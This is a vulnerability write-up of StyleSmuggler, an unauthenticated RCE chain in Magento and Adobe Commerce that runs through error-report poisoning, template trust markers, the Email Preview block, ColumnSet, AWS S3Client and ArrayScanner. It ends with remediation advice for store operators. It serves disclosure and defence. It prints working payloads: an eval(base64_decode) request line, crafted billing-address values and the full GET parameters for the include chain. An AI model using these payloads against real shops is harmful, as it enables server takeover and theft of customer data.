StyleSmuggler (CVE-2026-75650) is a vulnerability in affected releases of Magento Open Source and Adobe Commerce, two closely related platforms for running online shops. Sansec reported that attackers could execute code on a shop’s server without logging in. This is remote code execution (RCE): the server runs instructions chosen by someone outside the application’s trusted users.
We reproduced the complete chain against our Docker lab through Magento’s public HTTP interface. The requests poison a report, create a guest cart, trigger the failed-payment email, instantiate every gadget described below and reach the file include as the web user.
Updated September 9, 2026: Adobe released a priority-1 hotfix on September 7. Apply the applicable vendor fix and investigate for prior compromise. See Adobe APSB26-146 for affected product versions and installation instructions.
The Magento concepts you need
Magento does more than serve product pages. It manages shopping carts, records application errors and generates emails for customers and merchants. It also contains tools that developers use to prepare the application for deployment. This investigation concerns interactions between those features.
- Error report: a file Magento writes when something goes wrong. It may contain information from the incoming web request.
var/reportis the directory holding these reports;var/logholds application logs. - Email template: a document containing fixed text and instructions for inserting dynamic content. Rendering means turning that template into the email body on the server. It happens before anyone reads the email.
- Block: a PHP object Magento normally uses to produce part of a page or email. A class defines that object’s behavior; a constructor is code that runs when the object is created.
- Directive signature: Magento’s name for a temporary trust marker used while one template passes an instruction to another. It is not a digital signature and does not use public or private keys. Magento generates one random 32-character string for the current HTTP request and places that same string immediately before and after the instruction. A later template filter processes the instruction only when it sees the expected marker.
- Dependency injection (DI): Magento’s way of supplying objects with the other objects they need. Its
ObjectManagercreates and connects these objects. Separately, the DI compiler is a deployment tool normally run from the command line; some of its helpers load PHP files.
The reported attack has two broad stages: first, place malicious text in a file on the server; second, cause the application to treat that file as executable PHP. Writing the file alone is not code execution. The security failure requires a later path that executes its contents.
Stage 1: attacker-controlled text in an error report
When an application error reaches Magento’s error handler, the handler gathers diagnostic information, including the request URL in the path examined here. The report processor then writes that information to disk. The following excerpt shows that reporting path:
// lib/internal/Magento/Framework/App/ExceptionHandler.php
$reportData = [ $exception->getMessage(), Debug::trace(...) ];
if (isset($params['REQUEST_URI'])) {
$reportData['url'] = $params['REQUEST_URI']; // attacker-controlled, verbatim
}
$reportData['report_id'] = $this->encryptor->getHash(implode('', $reportData));
$this->logger->critical($exception, ['report_id' => $reportData['report_id']]);
require ... pub/errors/report.php; // writes var/report/<id>
The report processor uses Magento’s JSON serializer. In the tested path, it retains PHP opening-tag characters in the saved request URL. This is what report poisoning means here: text supplied in a request becomes part of a diagnostic file. The observation applies to this reporting path, not automatically to every Magento error response.
POST /paypal/transparent/response/?<?=eval(base64_decode($_GET[0]))?> HTTP/1.1
The example concerns a failed payment-related request. Magento tries to retrieve a shopping cart that does not exist, raises an error, and reaches the reporting path. A payment failure is the route into error reporting in this test; it is not itself evidence of a compromised payment provider.
The report file’s url field on disk after one request:
"url":"/paypal/transparent/response/?<?=eval(base64_decode($_GET[0]))?>"
The report identifier helps correlate the error page with the saved file. Magento stores it under the application directory at var/report. We do not control the file extension: the filename is the report ID and has no .php suffix. That does not stop PHP’s later include from parsing PHP tags in its contents.
Stage 2: how Magento reaches the poisoned report
Stage 1 puts attacker-controlled PHP inside a report file. Stage 2 makes Magento load that report as PHP. It does this by joining several normal Magento and third-party features in an unintended order. Security researchers call each useful class in a chain like this a gadget.
The complete path is:
createEmptyCart returns a guest cart ID
-> setGuestEmailOnCart adds the required email
-> setBillingAddressOnCart stores the crafted billing address
-> Magento address formatter
-> {{block}} directive wrapped in Magento's trust marker
-> failed-payment email renderer
-> Email Preview block
-> temporary email template
-> ColumnSet block
-> UrlGeneratorFactory
-> AWS S3Client constructor
-> ArrayScanner::collectEntities()
-> include the poisoned report
The surprising part is the first half. The request does not ask GraphQL to select an email template. Instead, it stores a specially formed value in a guest cart’s billing address. Magento later formats that address and accidentally wraps an attacker-supplied block instruction in its own trust marker. The failed-payment email then accepts the marked instruction as though it came from trusted template processing.
1. Create a guest cart, add its email, then store the first template fragment
Stage 2 begins with two setup requests. createEmptyCart creates the guest cart and returns the masked cart ID used by every following mutation. setGuestEmailOnCart stores the email address that the failed-payment service needs when it prepares the notification. These two requests prepare the cart. The template construction arrives in the third request, setBillingAddressOnCart.
setBillingAddressOnCart accepts company, street, city and postcode. In the tested version, company accepts an arbitrary string containing Magento template syntax such as {{if ...}}, {{var ...}} and {{block ...}}, and Magento stores that string in the quote address. This is the input point, but accepting braces alone is not the complete bug. A directly stored {{block}} directive is not enough. The construction combines company with a self-referencing postcode and a nonempty city. During later recursive address formatting, Magento itself puts its trust marker around the attacker-supplied block. In our complete HTTP test, the values were:
company = {{if postcode}}{{var postcode}}{{/if}}{{/var}}{{if postcode}}{{var postcode}}{{/if}}{{if city}}{{block class=Magento\Email\Block\Adminhtml\Template\Preview}}{{/if}}
street[0] = 1 Bridge Street
postcode = {{var postcode}}
city = x
The postcode deliberately refers to itself. The city only needs to be nonempty so that the final {{if city}} branch is taken. A formatter-level control also produced the marked block when the construction was placed in street[0], which becomes street1 when Magento prepares the address for display. In this checkout, however, setBillingAddressOnCart rejects the construction in street through the customer-address street validator, while company accepts it over GraphQL.
The demonstrated company variant depends on Magento’s exact stock HTML address format. Magento expands company recursively before it reaches the later city and postcode instructions. That order brings the block into a nested filtering call where the faulty trust decision is made.
Why the extra tags matter
The odd extra tags are there to confuse Magento’s regular-expression parser about which opening tag belongs to which closing tag. The parser first records every directive it sees and only then starts replacing them. When the same {{var postcode}} text appears in the normal address format and inside company, a replacement calculated for one occurrence is applied to every identical occurrence. Because postcode contains another literal {{var postcode}}, the replacement still looks like a template instruction. The extra {{/var}} then changes how a later {{if city}}...{{/if}} section is grouped. Step 4 follows those transformations in order.
2. A declined Payflow response starts the failed-payment email
The attacker then calls handlePayflowProResponse for the same guest cart and supplies a response that Magento rejects. The resolver catches the payment exception and calls PaymentFailuresService::handle(). This prepares the merchant’s failed-payment notification immediately, inside the same HTTP request.
The request also carries type, text and styles as URL query parameters. They are not GraphQL input fields. Magento decodes the JSON body separately and leaves the query parameters on the shared HTTP request object until a later gadget reads them.
The main PoC uses type=2, Magento’s HTML email type. A controlled run with type=1 also reached the inert include, confirming that the object lookup explained in step 7 does not require HTML mode.
3. Magento formats the billing address before it renders the email
PaymentFailuresService builds the email variables before it asks the transport builder to render the message:
// app/code/Magento/Sales/Model/Service/PaymentFailuresService.php
'billingAddressHtml' => $quote->getBillingAddress()->format('html'),
The address formatter loads Magento’s normal HTML address format and runs the bare Magento\Framework\Filter\Template over it:
// app/code/Magento/Customer/etc/config.xml
{{depend company}}{{var company}}<br />{{/depend}}
{{if street1}}{{var street1}}<br />{{/if}}
...
{{if city}}{{var city}}, {{/if}}{{if region}}{{var region}}, {{/if}}{{if postcode}}{{var postcode}}{{/if}}<br />
// app/code/Magento/Customer/Block/Address/Renderer/DefaultRenderer.php
return $this->filterManager->template($format, ['variables' => $data]);
This happens before the failed-payment email’s own template filter runs. That order creates two different filtering contexts. The address formatter is the weaker context because it understands basic instructions such as {{if}} and {{var}}, but it does not know how to render {{block}}. The later email filter does know how to render blocks.
4. Magento mistakes the unresolved block for a trusted instruction
Magento filters the body of a true {{depend}} or {{if}} by calling the same filter again. The whole address starts at filtering depth 1, while the body of {{depend company}} is processed at depth 2. In this source code, Magento calls its random trust marker a signature. The attacker neither knows nor supplies it. Magento generates and adds it during these nested calls. The transformation happens in five parts:
- The value of
postcodeis literally{{var postcode}}. Resolving it therefore returns the same directive text instead of an ordinary postcode. - At depth 2, vulnerable Magento assumes that any unchanged directive was deliberately left for an outer template. It places its random marker before and after that postcode directive.
- Magento found all matching directives before it began replacing them, and its replacement is global. The marked postcode result is therefore copied into identical postcode text that came from
company. - The extra closing tag causes the regular-expression parser to group the later
{{if city}}...{{/if}}text into that marked structure. Sincecityis nonempty, Magento sends the enclosed Preview block through another depth-2 filtering call. - The basic address filter has no handler for
{{block}}, so it returns the Preview block unchanged. The same faulty rule now wraps the block in Magento’s marker.
At nested depth, vulnerable Magento versions use this test:
// lib/internal/Magento/Framework/Filter/Template.php
if ($this->filteringDepthMeter->showMark() > 1) {
$signature = $this->signatureProvider->get();
foreach ($templateDirectivesResults as $result) {
if ($result['directive'] === $result['output']) {
$value = str_replace(
$result['output'],
$signature . $result['output'] . $signature,
$value
);
}
}
}
Why the trust marker is wrong
The intention was to mark instructions that a child template deliberately leaves for its parent. The code does not verify where an unchanged instruction came from. It only checks whether processing changed the text. The basic address filter cannot process {{block}}, so it returns the attacker’s block unchanged. Magento mistakes that result for a legitimate deferred instruction and adds its own marker.
The formatted billing address now contains:
{{var postcode}}{{var postcode}}<SIGNATURE>{{block class=Magento\Email\Block\Adminhtml\Template\Preview}}<SIGNATURE><br />
<SIGNATURE> represents the same random 32-character string on both sides. The two postcode variables are leftover text from the parser confusion. The security failure is the marker around the Preview block: Magento generated that marker for attacker-controlled text, so a later template filter accepts the block as trusted.
5. The failed-payment email accepts the marker and renders the block
The standard failed-payment email contains:
<!-- app/code/Magento/Checkout/view/adminhtml/email/failed_payment.html -->
{{var billingAddressHtml|raw}}
On its first pass, the Email filter replaces that variable with the already formatted billing address. On its second pass, it looks for instructions surrounded by the request’s random marker. The address formatter and Email filter share one SignatureProvider object during the request, so they use the same marker. This is why the attacker does not need to see or guess the random value.
Magento\Email\Model\Template\Filter implements blockDirective(). It reads the class name, asks Layout to create the block, and calls toHtml():
// app/code/Magento/Email/Model/Template/Filter.php
$blockParameters = $this->getParameters($construction[2]);
if (isset($blockParameters['class'])) {
$block = $this->_layout->createBlock(
$blockParameters['class'],
null,
['data' => $blockParameters]
);
}
// Unrelated block-selection and parameter-assignment lines omitted.
if (isset($blockParameters['output'])) {
$method = $blockParameters['output'];
}
if (!isset($method)
|| !is_string($method)
|| !method_exists($block, $method)
|| !is_callable([$block, $method])
) {
$method = 'toHtml';
}
return $block->{$method}();
This creates Magento\Email\Block\Adminhtml\Template\Preview. The word Adminhtml in the class name does not protect it here. Magento is creating the block directly while rendering an email, so it never dispatches the normal admin controller or performs that controller’s access check.
The public Disrex analysis correctly identifies the downstream styles array and ArrayScanner sink, but says Preview is not the entry because no GraphQL route dispatches it. The key distinction is that GraphQL does not need to dispatch Preview as a route. The marked {{block}} directive asks Magento’s email filter and layout system to construct Preview directly. Our trace records BlockFactory::createBlock() receiving the Preview class during the failed-payment request, followed by Preview::_toHtml() on that same request. This is why its getParam() calls see the GraphQL request’s query string.
6. Email Preview reads the query parameters
Preview::_toHtml() creates a new in-memory email template and fills it from the current request:
// app/code/Magento/Email/Block/Adminhtml/Template/Preview.php
$template->setTemplateType($request->getParam('type'));
$template->setTemplateText($this->_maliciousCode->filter(
$request->getParam('text')
));
$template->setTemplateStyles($request->getParam('styles'));
$templateProcessed = $this->_appState->emulateAreaCode(
\Magento\Email\Model\AbstractTemplate::DEFAULT_DESIGN_AREA,
[$template, 'getProcessedTemplate']
);
This is the bridge from the URL query string to a new email template. The request does not supply a numeric id, so Preview takes the branch that uses type, text and styles. Before Adobe’s fix, setTemplateStyles() was a generic data setter, so a query such as styles[key]=value could become a nested PHP array instead of CSS text.
Our parameter controls make the requirements precise. text and the nested styles array are required for this request-supplied chain. type is optional; when omitted, this Template class defaults to HTML type 2. A nonzero numeric id must be absent because it selects the other Preview branch, loads a stored template and ignores the request’s type, text and styles.
7. The new template constructs ColumnSet
The text parameter contains a second block instruction:
{{block class=Magento\Backend\Block\Widget\Grid\ColumnSet rowUrl=$this.template_styles}}
Preview stores the supplied styles array on the transient template object. AbstractTemplate::getProcessedTemplate() makes that object available as this. Resolving $this.template_styles calls the template object’s data accessor and gives rowUrl the complete nested array supplied through the styles query parameter. HTML templates also receive a separate top-level $template_styles variable, but this chain does not use it.
The Email filter passes that array into the ColumnSet constructor under data. ColumnSet normally uses rowUrl to configure links in an admin grid. Its constructor also permits rowUrl['generatorClass'] to replace the normal URL generator class:
// app/code/Magento/Backend/Block/Widget/Grid/ColumnSet.php
$rowUrlParams = $data['rowUrl'];
if (isset($rowUrlParams['generatorClass'])) {
$generatorClassName = $rowUrlParams['generatorClass'];
}
$this->_rowUrlGenerator = $generatorFactory->createUrlGenerator(
$generatorClassName,
['args' => $rowUrlParams]
);
8. The styles array selects AWS S3Client and builds a callback
The structured styles data names Aws\S3\S3Client as generatorClass. It also contains ordinary S3 configuration, the poisoned report path, and a with_resolved callback description. In simplified PHP form, the important shape is:
These are the decoded GET parameters sent by the working PoC. PHP’s bracket notation builds the nested styles array:
type=2
text={{block class=Magento\Backend\Block\Widget\Grid\ColumnSet rowUrl=$this.template_styles}}
styles[first]=/var/www/html/var/report/<report-id-from-stage-1>
styles[generatorClass]=Aws\S3\S3Client
styles[version]=latest
styles[region]=us-east-1
styles[with_resolved][0][instance]=Magento\Setup\Module\Di\Code\Scanner\ArrayScanner
styles[with_resolved][0][_i_]=Magento\Setup\Module\Di\Code\Scanner\ArrayScanner
styles[with_resolved][1]=collectEntities
0=<base64-encoded PHP for the Stage 1 loader>
[
'first' => '<poisoned report path>',
'generatorClass' => Aws\S3\S3Client::class,
'region' => '<region>',
'version' => 'latest',
'with_resolved' => [
[
'instance' => Magento\Setup\Module\Di\Code\Scanner\ArrayScanner::class,
'_i_' => Magento\Setup\Module\Di\Code\Scanner\ArrayScanner::class
],
'collectEntities'
]
]
The request contains both names for the nested object description. Magento’s developer object factory recognises instance, while its compiled production factory recognises _i_. Both name the same ArrayScanner class.
In a normal production build, the external AWS SDK is outside Magento’s generated DI metadata. The compiled factory therefore discovers the S3 constructor at runtime and resolves _i_. We verified this with Magento’s real compiled factory and the bundled AWS class.
with_resolved is an AWS SDK constructor hook. AWS expects it to be callable and invokes it after resolving the client configuration. Before the S3 constructor receives this array, Magento’s ObjectManager recursively processes constructor arguments. In developer mode it recognises instance; the compiled factory uses _i_. It replaces that nested description with the named object. The developer-mode code is:
// lib/internal/Magento/Framework/ObjectManager/Factory/AbstractFactory.php
if (isset($item['instance'])) {
if (isset($item['shared'])) {
$isShared = $item['shared'];
} else {
$isShared = $this->config->isShared($item['instance']);
}
if ($isShared) {
$array[$key] = $this->objectManager->get($item['instance']);
} else {
$array[$key] = $this->objectManager->create($item['instance']);
}
}
The result is a valid PHP callback equivalent to:
[$arrayScannerObject, 'collectEntities']
9. The AWS constructor calls ArrayScanner::collectEntities()
Aws\AwsClient::__construct() resolves the supplied configuration and then runs the hook:
// vendor/aws/aws-sdk-php/src/AwsClient.php
$config = $resolver->resolve($args, $this->handlerList);
...
if (isset($args['with_resolved'])) {
$args['with_resolved']($config);
}
Because ObjectManager changed with_resolved into the ArrayScanner callback, this line calls ArrayScanner::collectEntities($config). In the AWS SDK version bundled with the tested Magento build, ClientResolver returns the supplied array with unrecognised keys intact and appends resolved defaults after the existing keys. The trace confirms that first, containing the report path, remains the first value received by ArrayScanner.
10. ArrayScanner includes the report
ArrayScanner is a helper used by Magento’s dependency-injection compiler. It expects an array of PHP filenames:
// setup/src/Magento/Setup/Module/Di/Code/Scanner/ArrayScanner.php
public function collectEntities(array $files)
{
$output = [];
foreach ($files as $file) {
if (file_exists($file)) {
$data = include $file;
$output = array_merge($output, $data);
}
}
return $output;
}
The first value is the attacker-selected report path, so include parses the report as PHP and executes the code planted in Stage 1. The report does not need a .php filename extension. PHP’s include acts on the file contents.
The later configuration values are not all filenames. A later file_exists() or array_merge() can therefore throw an error, but that happens after the poisoned report has already been included.
11. The safety checks run after the dangerous constructors
UrlGeneratorFactory is intended to return a row URL generator. In the vulnerable code it creates the requested class first and checks its interface afterwards:
// app/code/Magento/Backend/Model/Widget/Grid/Row/UrlGeneratorFactory.php
$rowUrlGenerator = $this->_objectManager->create(
$generatorClassName,
$arguments
);
if (false === $rowUrlGenerator instanceof \Magento\Backend\Model\Widget\Grid\Row\GeneratorInterface) {
throw new \InvalidArgumentException('Passed wrong parameters');
}
S3Client is not a row URL generator, but its constructor and with_resolved callback have already run by the time Magento rejects it. Throwing an exception cannot undo code that an earlier constructor or callback executed.
Adobe’s hotfix adds several barriers. It adds an access check inside Preview, rejects array-valued template styles, validates a row URL generator before constructing it, and makes newly written reports unsuitable as attacker-controlled PHP. Each of those changes stops the demonstrated chain. Adobe also validates layout block classes before construction. That is useful hardening, although Preview and ColumnSet pass that particular check because both are valid blocks.
Proof of concept: The supporting lab and exploit code are available in the Fortbridge StyleSmuggler repository.
What store operators should do
- Apply the vendor hotfix and rotate keys. Follow Adobe’s installation and credential-rotation procedure for your product and version. Verify that the hotfix is installed, then rotate the Commerce encryption keys and all associated credentials that could have been encrypted or exposed with those keys. Rotate those credentials at their issuing systems, not only inside Commerce.
- Investigate possible prior compromise. Patching prevents this vulnerability from being used again, but it does not remove an existing compromise. Preserve relevant logs and review unexpected files, processes and persistence. If compromise is suspected or confirmed, follow an incident-response process, including recovery.
- Defense in depth: review PHP process-execution restrictions, filesystem permissions and mount options for compatibility. These controls do not prevent every form of PHP code execution and do not replace patching.
- Do not rely on a web application firewall (WAF) alone. Coverage depends on the deployed rules and which request fields they inspect. Evaluate it as an additional control, alongside patching and incident detection.
Related research: our WordPress libheif RCE analysis examines a separate image-decoding memory-safety flaw in a different application stack.
References
- Sansec advisory: https://sansec.io/research/stylesmuggler
- The Hacker News coverage: https://thehackernews.com/2026/09/unpatched-magento-and-adobe-commerce.html
- Disrex IR repo (mechanism, IoCs, cleanup, WAF rules, patches): https://github.com/disrex-group/stylesmuggler-mitigation
- Bigbridge deferred-directive analysis: https://github.com/bigbridge-nl/magento2-stylesmuggler-deferred-directives-fix


